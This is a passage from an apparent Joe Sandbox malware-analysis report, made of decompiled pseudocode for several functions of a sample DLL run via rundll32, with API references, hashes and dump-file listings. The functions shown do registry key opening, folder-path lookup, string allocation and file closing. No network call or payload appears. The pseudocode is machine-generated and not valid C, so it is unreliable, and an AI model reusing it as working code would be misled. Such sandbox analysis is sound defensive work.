				 *((intOrPtr*)(_t56 + 0x24)) =  *((intOrPtr*)(_t56 + 0x24)) + 1;
				return _t37;
			}

0x7fef472e990
0x7fef472e99a
0x7fef472e99e
0x7fef472e9a8
0x7fef472e9aa
0x7fef472e9ae
0x7fef472e9b0
0x7fef472e9b8
0x7fef472e9bc
0x7fef472e9c5
0x7fef472e9ca
0x7fef472e9cc
0x7fef472e9d0
0x7fef472e9d9
0x7fef472e9e1
0x7fef472e9e5
0x7fef472e9f0
0x7fef472ea07
0x7fef472ea12
0x7fef472ea1a
0x7fef472ea1c
0x7fef472ea20
0x7fef472ea2f
0x7fef472ea33
0x7fef472ea40

APIs

realloc.LIBCMT ref: 000007FEF472EA12
std::_Xbad_alloc.LIBCPMT ref: 000007FEF472EA41

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Xbad_allocreallocstd::_
String ID:
API String ID: 4158210248-0
Opcode ID: 74809cbffde59cb364654c9dc78fc9e22e2f68ce9247147c3096fad056555f74
Instruction ID: 12060e9f1df7a01a41168b62e29a125d28ab563ae750a1e39b089e597443b644
Opcode Fuzzy Hash: 74809cbffde59cb364654c9dc78fc9e22e2f68ce9247147c3096fad056555f74
Instruction Fuzzy Hash: B6116D7290D651C2EBA4DF22D04163873F0E788FA4F15462AEE9D473E9CB78D850CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4738E00 Relevance: 1.6, APIs: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E000007FE7FEF4738E00(long long __rbx, long long __rdx, signed int __rsi, long long __rbp, signed int __r8, signed long long __r9) {
				void* _v8;
				signed int _v16;
				long long _v24;
				long long _v32;
				char _v48;
				long long _v56;
				signed int _v64;
				char _v80;
				signed long long _v104;
				void* _t35;
				void* _t46;
				void* _t48;
				void* _t57;
				signed long long _t58;
				signed long long _t59;
				signed long long _t63;
				void* _t65;
				long long _t80;
				long long _t81;
				void* _t84;
				signed long long _t91;
				void* _t94;

				_t91 = __r9;
				_t81 = __rsi;
				_t57 = _t84;
				 *((long long*)(_t57 - 0x58)) = 0xfffffffe;
				 *((long long*)(_t57 + 8)) = __rbx;
				 *((long long*)(_t57 + 0x18)) = __rsi;
				_t58 =  *0xf4777530; // 0xf9634ebbaa1d
				_t59 = _t58 ^ _t84 - 0x00000080;
				_v16 = _t59;
				_t80 = __rdx;
				_t35 = E000007FE7FEF4741C84(_t65);
				_t63 = _t59;
				_v104 = _t59;
				r9d = 0;
				r8d = 0;
				__imp__SHGetFolderPathW(); // executed
				if (_t35 < 0) goto 0xf4738f1f;
				_v56 = 7;
				_v64 = __rsi;
				_v80 = 0;
				if ( *_t63 != 0) goto 0xf4738e78;
				r8d = 0;
				goto 0xf4738e8a;
				if ( *((intOrPtr*)(_t63 + ((__r8 | 0xffffffff) + 1) * 2)) != 0) goto 0xf4738e80;
				E000007FE7FEF4728E10(_t63,  &_v80, _t63, __rsi, (__r8 | 0xffffffff) + 1);
				_t76 =  >=  ? _v80 :  &_v80;
				_t90 = ( >=  ? _v80 :  &_v80) + _v64 * 2;
				_t78 =  >=  ? _v80 :  &_v80;
				_v24 = 0xf;
				_v32 = _t81;
				_v48 = 0;
				E000007FE7FEF473F620(_t63,  &_v48,  >=  ? _v80 :  &_v80, _t81, __rbp, ( >=  ? _v80 :  &_v80) + _v64 * 2, _t94);
				if (_t80 ==  &_v48) goto 0xf4738efa;
				r8d = 0;
				E000007FE7FEF4722B70(_t63, _t80,  &_v48, _t81, __rbp, ( >=  ? _v80 :  &_v80) + _v64 * 2, _t91 | 0xffffffff);
				if (_v24 - 0x10 < 0) goto 0xf4738f0d;
				E000007FE7FEF4741974(_v48);
				if (_v56 - 8 < 0) goto 0xf4738f1f;
				E000007FE7FEF4741974(_v80);
				return E000007FE7FEF4740F90(0, _t46, 0, _t48, _v16 ^ _t84 - 0x00000080,  &_v48, ( >=  ? _v80 :  &_v80) + _v64 * 2);
			}

0x7fef4738e00
0x7fef4738e00
0x7fef4738e00
0x7fef4738e0b
0x7fef4738e13
0x7fef4738e17
0x7fef4738e1b
0x7fef4738e22
0x7fef4738e25
0x7fef4738e2a
0x7fef4738e32
0x7fef4738e37
0x7fef4738e3a
0x7fef4738e3f
0x7fef4738e42
0x7fef4738e4b
0x7fef4738e53
0x7fef4738e59
0x7fef4738e64
0x7fef4738e69
0x7fef4738e71
0x7fef4738e73
0x7fef4738e76
0x7fef4738e88
0x7fef4738e92
0x7fef4738ea3
0x7fef4738eae
0x7fef4738eb7
0x7fef4738ebd
0x7fef4738ec6
0x7fef4738ecb
0x7fef4738ed5
0x7fef4738ee3
0x7fef4738ee9
0x7fef4738ef4
0x7fef4738f00
0x7fef4738f07
0x7fef4738f13
0x7fef4738f1a
0x7fef4738f45

APIs

SHGetFolderPathW.SHELL32 ref: 000007FEF4738E4B

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 778fef958ae0624942e4cfcb200f72a9f42054aee9a30e88716db527596a2b82
Instruction ID: 244b07e0079ac20105377abc256753a0070be5e28cb7b1c25d0dc78885e39d7a
Opcode Fuzzy Hash: 778fef958ae0624942e4cfcb200f72a9f42054aee9a30e88716db527596a2b82
Instruction Fuzzy Hash: C931A02261EA81C2E7809B14E44476AA7E1F7857E0F515321FAAE43AF9CF7DD455CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47292E0 Relevance: 1.6, APIs: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E000007FE7FEF47292E0(signed int __eax, long long __rcx, unsigned int __rdx, long long __r8, void* _a8, long long _a16, void* _a24, long long _a32) {
				long long _v56;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* _t28;
				void* _t29;
				signed int _t30;
				void* _t31;
				void* _t32;
				void* _t33;
				long long _t49;
				long long* _t50;
				unsigned long long _t54;
				long long _t68;
				signed long long _t70;
				unsigned long long _t75;
				long long _t79;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v56 = 0xfffffffe;
				_t49 = __rcx;
				if ((__rdx | 0x00000007) - 0xfffffffe <= 0) goto 0xf4729324;
				goto 0xf4729355;
				_t75 =  *((intOrPtr*)(__rcx + 0x18));
				_t54 = _t75 >> 1;
				_t30 = __eax * __rdx >> 0x20;
				if (_t54 - __rdx >> 1 <= 0) goto 0xf4729355;
				if (_t75 - 0xfffffffe - _t54 <= 0) goto 0xf4729355;
				r15d = 0;
				r14d = r15d;
				if (0x7fffffffffffffff == 0) goto 0xf4729389;
				if (0x7fffffffffffffff - 0xffffffff > 0) goto 0xf4729383;
				E000007FE7FEF4741BDC(0xffffffff, 0xfffffffffffffffe); // executed
				if (0xffffffff != 0) goto 0xf4729389;
				E000007FE7FEF475892C(_t29, _t30, _t31, _t33, 0xffffffff, _t49, 0xfffffffe, __r8, _t75, 0xfffffffe);
				r15d = 0;
				_t50 = _a8;
				_t70 = _a24;
				_t68 = _a16;
				_t79 = _a32;
				if (_t70 == 0) goto 0xf47293c7;
				if ( *((long long*)(_t50 + 0x18)) - 8 < 0) goto 0xf47293b3;
				goto 0xf47293b6;
				if (_t70 == 0) goto 0xf47293c7;
				E000007FE7FEF4740FC0(_t29, _t31, _t32, _t33, _t79, _t50, _t70 + _t70);
				if ( *((long long*)(_t50 + 0x18)) - 8 < 0) goto 0xf47293d6;
				_t28 = E000007FE7FEF4741974( *_t50);
				 *_t50 = _t79;
				 *((long long*)(_t50 + 0x18)) = _t68;
				 *(_t50 + 0x10) = _t70;
				if (_t68 - 8 < 0) goto 0xf47293ea;
				 *((intOrPtr*)(_t79 + _t70 * 2)) = r15w;
				return _t28;
			}

0x7fef47292e0
0x7fef47292e5
0x7fef47292ea
0x7fef47292fa
0x7fef4729306
0x7fef472931d
0x7fef4729322
0x7fef4729324
0x7fef472932b
0x7fef4729338
0x7fef4729341
0x7fef4729350
0x7fef4729359
0x7fef472935c
0x7fef4729362
0x7fef4729371
0x7fef4729376
0x7fef4729381
0x7fef4729383
0x7fef472938b
0x7fef472938e
0x7fef4729393
0x7fef4729398
0x7fef472939d
0x7fef47293a5
0x7fef47293ac
0x7fef47293b1
0x7fef47293b9
0x7fef47293c2
0x7fef47293cc
0x7fef47293d1
0x7fef47293d6
0x7fef47293d9
0x7fef47293dd
0x7fef47293e5
0x7fef47293ea
0x7fef47293fa

APIs

std::_Xbad_alloc.LIBCPMT ref: 000007FEF4729383

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Xbad_allocstd::_
String ID:
API String ID: 3176948561-0
Opcode ID: 52c319e9c9acc04b1d0a4f75c1e7a0db8b0f5489e8b4e87d3017170c6fa16e12
Instruction ID: 96d54282ce001ee351fce486d1b9551ed535071649e001fd568e8a9476858666
Opcode Fuzzy Hash: 52c319e9c9acc04b1d0a4f75c1e7a0db8b0f5489e8b4e87d3017170c6fa16e12
Instruction Fuzzy Hash: 692106A2B0E741C1EA548A15D114A7EA3C0AB04BF4F1847308E7D077F9DBBCE6518740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4732740 Relevance: 1.6, APIs: 1, Instructions: 68
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E000007FE7FEF4732740(long long __rbx, void* __rcx, intOrPtr* __rdx, long long _a24) {
				signed int _v32;
				long long _v40;
				void* _v48;
				long long _v56;
				long long _v72;
				long _t19;
				void* _t27;
				void* _t30;
				signed long long _t39;
				long long _t41;
				intOrPtr* _t55;
				long long _t57;
				signed long long _t58;
				void* _t59;

				_v56 = 0xfffffffe;
				_a24 = __rbx;
				_t39 =  *0xf4777530; // 0xf9634ebbaa1d
				_v32 = _t39 ^ _t58;
				_v40 = __rdx;
				if (r8d != 2) goto 0xf4732783;
				r9d = 0x100;
				goto 0xf4732793;
				r9d = 0;
				r9d =  ==  ? 0x200 : r9d;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf473279d;
				r9d = r9d | 0x00020019;
				_t41 =  &_v48;
				_v72 = _t41;
				r8d = 0;
				_t19 = RegOpenKeyExW(??, ??, ??, ??, ??); // executed
				if (_t19 == 0) goto 0xf47327d2;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf47327ce;
				E000007FE7FEF4741974( *__rdx);
				goto 0xf473280f;
				E000007FE7FEF4741BDC(_t41,  *__rdx);
				_t55 = _t41;
				if (_t41 == 0) goto 0xf47327fa;
				 *_t55 = _t41;
				 *((long long*)(_t55 + 8)) = _t41;
				 *((long long*)(_t55 + 8)) = _v48;
				 *_t55 = r8d;
				goto 0xf47327fd;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf473280c;
				E000007FE7FEF4741974( *__rdx);
				 *((long long*)(__rdx + 0x18)) = 7;
				 *((long long*)(__rdx + 0x10)) = _t57;
				 *((short*)(__rdx)) = 0;
				return E000007FE7FEF4740F90(0x10, _t27, r8d, _t30, _v32 ^ _t58,  *__rdx, _t59);
			}

0x7fef4732748
0x7fef4732751
0x7fef4732759
0x7fef4732763
0x7fef473276e
0x7fef4732779
0x7fef473277b
0x7fef4732781
0x7fef4732783
0x7fef473278f
0x7fef4732798
0x7fef473279d
0x7fef47327a4
0x7fef47327a9
0x7fef47327ae
0x7fef47327b5
0x7fef47327bd
0x7fef47327c4
0x7fef47327c9
0x7fef47327d0
0x7fef47327d7
0x7fef47327dc
0x7fef47327e2
0x7fef47327e6
0x7fef47327e9
0x7fef47327f2
0x7fef47327f6
0x7fef47327f8
0x7fef4732802
0x7fef4732807
0x7fef473280f
0x7fef4732817
0x7fef473281b
0x7fef473283a

APIs

RegOpenKeyExW.ADVAPI32 ref: 000007FEF47327B5

Part of subcall function 000007FEF4741BDC: malloc.LIBCMT ref: 000007FEF4741BF6

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Openmalloc
String ID:
API String ID: 700518885-0
Opcode ID: 9db52e3845b5f236fdd722a5f0c83360e67734b5516a4f290557ee24755aad8a
Instruction ID: 5c1aead66f13f978e00b77776ef0b6f01f8518480601eba4e6f96495850ce02a
Opcode Fuzzy Hash: 9db52e3845b5f236fdd722a5f0c83360e67734b5516a4f290557ee24755aad8a
Instruction Fuzzy Hash: 49218932B1EA85C5EBA08B25E445B7972E5F744B94F108134DB9D877E4DE3CE4A08740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47324A0 Relevance: 1.6, APIs: 1, Instructions: 59
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E000007FE7FEF47324A0(long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rsi, long long _a24, long long _a32) {
				signed int _v16;
				long long _v24;
				void* _v32;
				long long _v40;
				long long _v56;
				long _t20;
				void* _t30;
				void* _t31;
				signed long long _t38;
				long long _t40;
				long long _t54;
				intOrPtr* _t56;
				signed long long _t59;
				void* _t60;

				_v40 = 0xfffffffe;
				_a24 = __rbx;
				_a32 = __rsi;
				_t38 =  *0xf4777530; // 0xf9634ebbaa1d
				_v16 = _t38 ^ _t59;
				_v24 = __rdx;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf47324da;
				_t40 =  &_v32;
				_v56 = _t40;
				r9d = 0x20119;
				r8d = 0;
				_t20 = RegOpenKeyExW(??, ??, ??, ??, ??); // executed
				if (_t20 == 0) goto 0xf4732510;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf473250a;
				E000007FE7FEF4741974( *__rdx);
				goto 0xf4732553;
				E000007FE7FEF4741BDC(_t40,  *__rdx);
				_t56 = _t40;
				if (_t40 == 0) goto 0xf473253e;
				 *_t56 = _t40;
				 *((long long*)(_t56 + 8)) = _t40;
				 *((long long*)(_t56 + 8)) = _v32;
				 *_t56 = 2;
				goto 0xf4732541;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf4732550;
				E000007FE7FEF4741974( *__rdx);
				 *((long long*)(__rdx + 0x18)) = 7;
				 *((long long*)(__rdx + 0x10)) = _t54;
				 *((short*)(__rdx)) = 0;
				return E000007FE7FEF4740F90(0x10, 0, _t30, _t31, _v16 ^ _t59,  *__rdx, _t60);
			}

0x7fef47324a6
0x7fef47324af
0x7fef47324b4
0x7fef47324b9
0x7fef47324c3
0x7fef47324cb
0x7fef47324d5
0x7fef47324da
0x7fef47324df
0x7fef47324e4
0x7fef47324ea
0x7fef47324f1
0x7fef47324f9
0x7fef4732500
0x7fef4732505
0x7fef473250e
0x7fef4732515
0x7fef473251a
0x7fef4732522
0x7fef4732526
0x7fef4732529
0x7fef4732532
0x7fef4732536
0x7fef473253c
0x7fef4732546
0x7fef473254b
0x7fef4732553
0x7fef473255b
0x7fef473255f
0x7fef473257e

APIs

RegOpenKeyExW.ADVAPI32 ref: 000007FEF47324F1

Part of subcall function 000007FEF4741BDC: malloc.LIBCMT ref: 000007FEF4741BF6

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Openmalloc
String ID:
API String ID: 700518885-0
Opcode ID: ba65673c62211b1cb36de867ca900b9399b295c46c95b5474e6582c99566b24b
Instruction ID: b5bc867b5c89a6d1e90c9516a20b468d8963945591c6bbd0b823d5030e2bcd02
Opcode Fuzzy Hash: ba65673c62211b1cb36de867ca900b9399b295c46c95b5474e6582c99566b24b
Instruction Fuzzy Hash: D6213B3261DA85C1EB948B29E85572A73E0F784B94F208135DBAD437F9DF3CE5A28740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4732580 Relevance: 1.6, APIs: 1, Instructions: 59
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E000007FE7FEF4732580(long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rsi, long long _a24, long long _a32) {
				signed int _v16;
				long long _v24;
				void* _v32;
				long long _v40;
				long long _v56;
				long _t20;
				void* _t30;
				void* _t31;
				signed long long _t38;
				long long _t40;
				long long _t54;
				intOrPtr* _t56;
				signed long long _t59;
				void* _t60;

				_v40 = 0xfffffffe;
				_a24 = __rbx;
				_a32 = __rsi;
				_t38 =  *0xf4777530; // 0xf9634ebbaa1d
				_v16 = _t38 ^ _t59;
				_v24 = __rdx;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf47325ba;
				_t40 =  &_v32;
				_v56 = _t40;
				r9d = 0x20219;
				r8d = 0;
				_t20 = RegOpenKeyExW(??, ??, ??, ??, ??); // executed
				if (_t20 == 0) goto 0xf47325f0;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf47325ea;
				E000007FE7FEF4741974( *__rdx);
				goto 0xf4732633;
				E000007FE7FEF4741BDC(_t40,  *__rdx);
				_t56 = _t40;
				if (_t40 == 0) goto 0xf473261e;
				 *_t56 = _t40;
				 *((long long*)(_t56 + 8)) = _t40;
				 *((long long*)(_t56 + 8)) = _v32;
				 *_t56 = 1;
				goto 0xf4732621;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf4732630;
				E000007FE7FEF4741974( *__rdx);
				 *((long long*)(__rdx + 0x18)) = 7;
				 *((long long*)(__rdx + 0x10)) = _t54;
				 *((short*)(__rdx)) = 0;
				return E000007FE7FEF4740F90(0x10, 0, _t30, _t31, _v16 ^ _t59,  *__rdx, _t60);
			}

0x7fef4732586
0x7fef473258f
0x7fef4732594
0x7fef4732599
0x7fef47325a3
0x7fef47325ab
0x7fef47325b5
0x7fef47325ba
0x7fef47325bf
0x7fef47325c4
0x7fef47325ca
0x7fef47325d1
0x7fef47325d9
0x7fef47325e0
0x7fef47325e5
0x7fef47325ee
0x7fef47325f5
0x7fef47325fa
0x7fef4732602
0x7fef4732606
0x7fef4732609
0x7fef4732612
0x7fef4732616
0x7fef473261c
0x7fef4732626
0x7fef473262b
0x7fef4732633
0x7fef473263b
0x7fef473263f
0x7fef473265e

APIs

RegOpenKeyExW.ADVAPI32 ref: 000007FEF47325D1

Part of subcall function 000007FEF4741BDC: malloc.LIBCMT ref: 000007FEF4741BF6

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Openmalloc
String ID:
API String ID: 700518885-0
Opcode ID: 1a9f05605bf4d9b2423d08b48d16cb03305bdbedc30d9c8c00123f046d863723
Instruction ID: a964846ad2f6cb800ec05c93cbe4d4951d922876b0bce55ec273cbfb022697d0
Opcode Fuzzy Hash: 1a9f05605bf4d9b2423d08b48d16cb03305bdbedc30d9c8c00123f046d863723
Instruction Fuzzy Hash: 05212C3261EA85C1EB948F25E84472A73E0F784B94F148125DB9D43BF9DE3CD1A28740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4732660 Relevance: 1.6, APIs: 1, Instructions: 59
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E000007FE7FEF4732660(long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rsi, long long _a24, long long _a32) {
				signed int _v16;
				long long _v24;
				void* _v32;
				long long _v40;
				long long _v56;
				long _t20;
				void* _t32;
				signed long long _t39;
				long long _t41;
				long long _t55;
				intOrPtr* _t57;
				signed long long _t59;
				void* _t60;

				_v40 = 0xfffffffe;
				_a24 = __rbx;
				_a32 = __rsi;
				_t39 =  *0xf4777530; // 0xf9634ebbaa1d
				_v16 = _t39 ^ _t59;
				_v24 = __rdx;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf473269a;
				_t41 =  &_v32;
				_v56 = _t41;
				r9d = 0x20019;
				r8d = 0;
				_t20 = RegOpenKeyExW(??, ??, ??, ??, ??); // executed
				if (_t20 == 0) goto 0xf47326d0;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf47326ca;
				E000007FE7FEF4741974( *__rdx);
				goto 0xf4732710;
				E000007FE7FEF4741BDC(_t41,  *__rdx);
				_t57 = _t41;
				if (_t41 == 0) goto 0xf47326fa;
				 *_t57 = _t41;
				 *((long long*)(_t57 + 8)) = _t41;
				 *((long long*)(_t57 + 8)) = _v32;
				 *_t57 = 0;
				goto 0xf47326fe;
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf473270d;
				E000007FE7FEF4741974( *__rdx);
				 *((long long*)(__rdx + 0x18)) = 7;
				 *((long long*)(__rdx + 0x10)) = _t55;
				 *((short*)(__rdx)) = 0;
				return E000007FE7FEF4740F90(0x10, 0, 0, _t32, _v16 ^ _t59,  *__rdx, _t60);
			}

0x7fef4732666
0x7fef473266f
0x7fef4732674
0x7fef4732679
0x7fef4732683
0x7fef473268b
0x7fef4732695
0x7fef473269a
0x7fef473269f
0x7fef47326a4
0x7fef47326aa
0x7fef47326b1
0x7fef47326b9
0x7fef47326c0
0x7fef47326c5
0x7fef47326ce
0x7fef47326d5
0x7fef47326da
0x7fef47326e0
0x7fef47326e4
0x7fef47326e7
0x7fef47326f0
0x7fef47326f6
0x7fef47326f8
0x7fef4732703
0x7fef4732708
0x7fef4732710
0x7fef4732718
0x7fef473271c
0x7fef473273b

APIs

RegOpenKeyExW.ADVAPI32 ref: 000007FEF47326B1

Part of subcall function 000007FEF4741BDC: malloc.LIBCMT ref: 000007FEF4741BF6

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Openmalloc
String ID:
API String ID: 700518885-0
Opcode ID: 6c4305bf61ae54681d06195fdef77507757b2a55c9745bfbacb3cb7bd6c566c9
Instruction ID: 3ebc51e68375461fab43cb4d08322fa5a335676caf052d68d1236bf57ab0c128
Opcode Fuzzy Hash: 6c4305bf61ae54681d06195fdef77507757b2a55c9745bfbacb3cb7bd6c566c9
Instruction Fuzzy Hash: 7B211B3261AB45C1EB948F29E84472A72E5FB84B94F108125DBAD83BF8DE3CD4A18740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF473D010 Relevance: 1.6, APIs: 1, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF473D010(long long __rbx, void* __rcx, long long __rsi, long long _a8, long long _a16) {
				int _t30;
				intOrPtr _t31;
				void* _t32;
				void* _t36;
				long long* _t52;
				void* _t58;
				long long _t59;
				void* _t63;
				void* _t68;

				_a8 = __rbx;
				_a16 = __rsi;
				if ( *((long long*)(__rcx + 0x90)) != 0) goto 0xf473d032;
				goto 0xf473d054;
				E000007FE7FEF473D190(_t32, _t36, __rcx, __rcx, _t58, __rsi, _t68);
				_t62 =  ==  ? _t59 : __rcx; // executed
				_t30 = fclose(??); // executed
				_t63 =  !=  ? _t59 :  ==  ? _t59 : __rcx;
				 *((char*)(__rcx + 0x88)) = 0;
				 *((char*)(__rcx + 0x81)) = 0;
				_t52 = __rcx + 0x10;
				 *((long long*)(__rcx + 0x20)) = _t52;
				 *((long long*)(__rcx + 0x18)) = __rcx + 8;
				 *((long long*)(__rcx + 0x38)) = __rcx + 0x28;
				 *((long long*)(__rcx + 0x40)) = __rcx + 0x30;
				 *((long long*)(__rcx + 0x50)) = __rcx + 0x48;
				 *((long long*)(__rcx + 0x58)) = __rcx + 0x4c;
				 *_t52 = _t59;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x40)))) = _t59;
				 *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x58)))) = 0;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x18)))) = _t59;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x38)))) = _t59;
				 *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x50)))) = 0;
				 *((long long*)(__rcx + 0x90)) = _t59;
				_t31 =  *0xf477b270; // 0x0
				 *((intOrPtr*)(__rcx + 0x84)) = _t31;
				 *((long long*)(__rcx + 0x78)) = _t59;
				return _t30;
			}

0x7fef473d010
0x7fef473d015
0x7fef473d02a
0x7fef473d030
0x7fef473d032
0x7fef473d045
0x7fef473d049
0x7fef473d050
0x7fef473d054
0x7fef473d05b
0x7fef473d062
0x7fef473d066
0x7fef473d06e
0x7fef473d076
0x7fef473d07e
0x7fef473d086
0x7fef473d08e
0x7fef473d092
0x7fef473d099
0x7fef473d0a8
0x7fef473d0ae
0x7fef473d0b5
0x7fef473d0bc
0x7fef473d0be
0x7fef473d0c5
0x7fef473d0cb
0x7fef473d0d1
0x7fef473d0df

APIs

fclose.LIBCMT ref: 000007FEF473D049

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: fclose
String ID:
API String ID: 3125558077-0
Opcode ID: d805e3f6982a3d2ab896b8d6ff91e248fe5fe70b373a477a3c828e13d4b46ec0
Instruction ID: 25d6e833abce2284eb8bd2cdba6e6d5af123376a9f22decf3e8e5e8d871e5f82
Opcode Fuzzy Hash: d805e3f6982a3d2ab896b8d6ff91e248fe5fe70b373a477a3c828e13d4b46ec0
Instruction Fuzzy Hash: E621E532609B40C5DB418F35E5903AD73A8FB98F88F544126CE8D83768DF35C466C380

Uniqueness

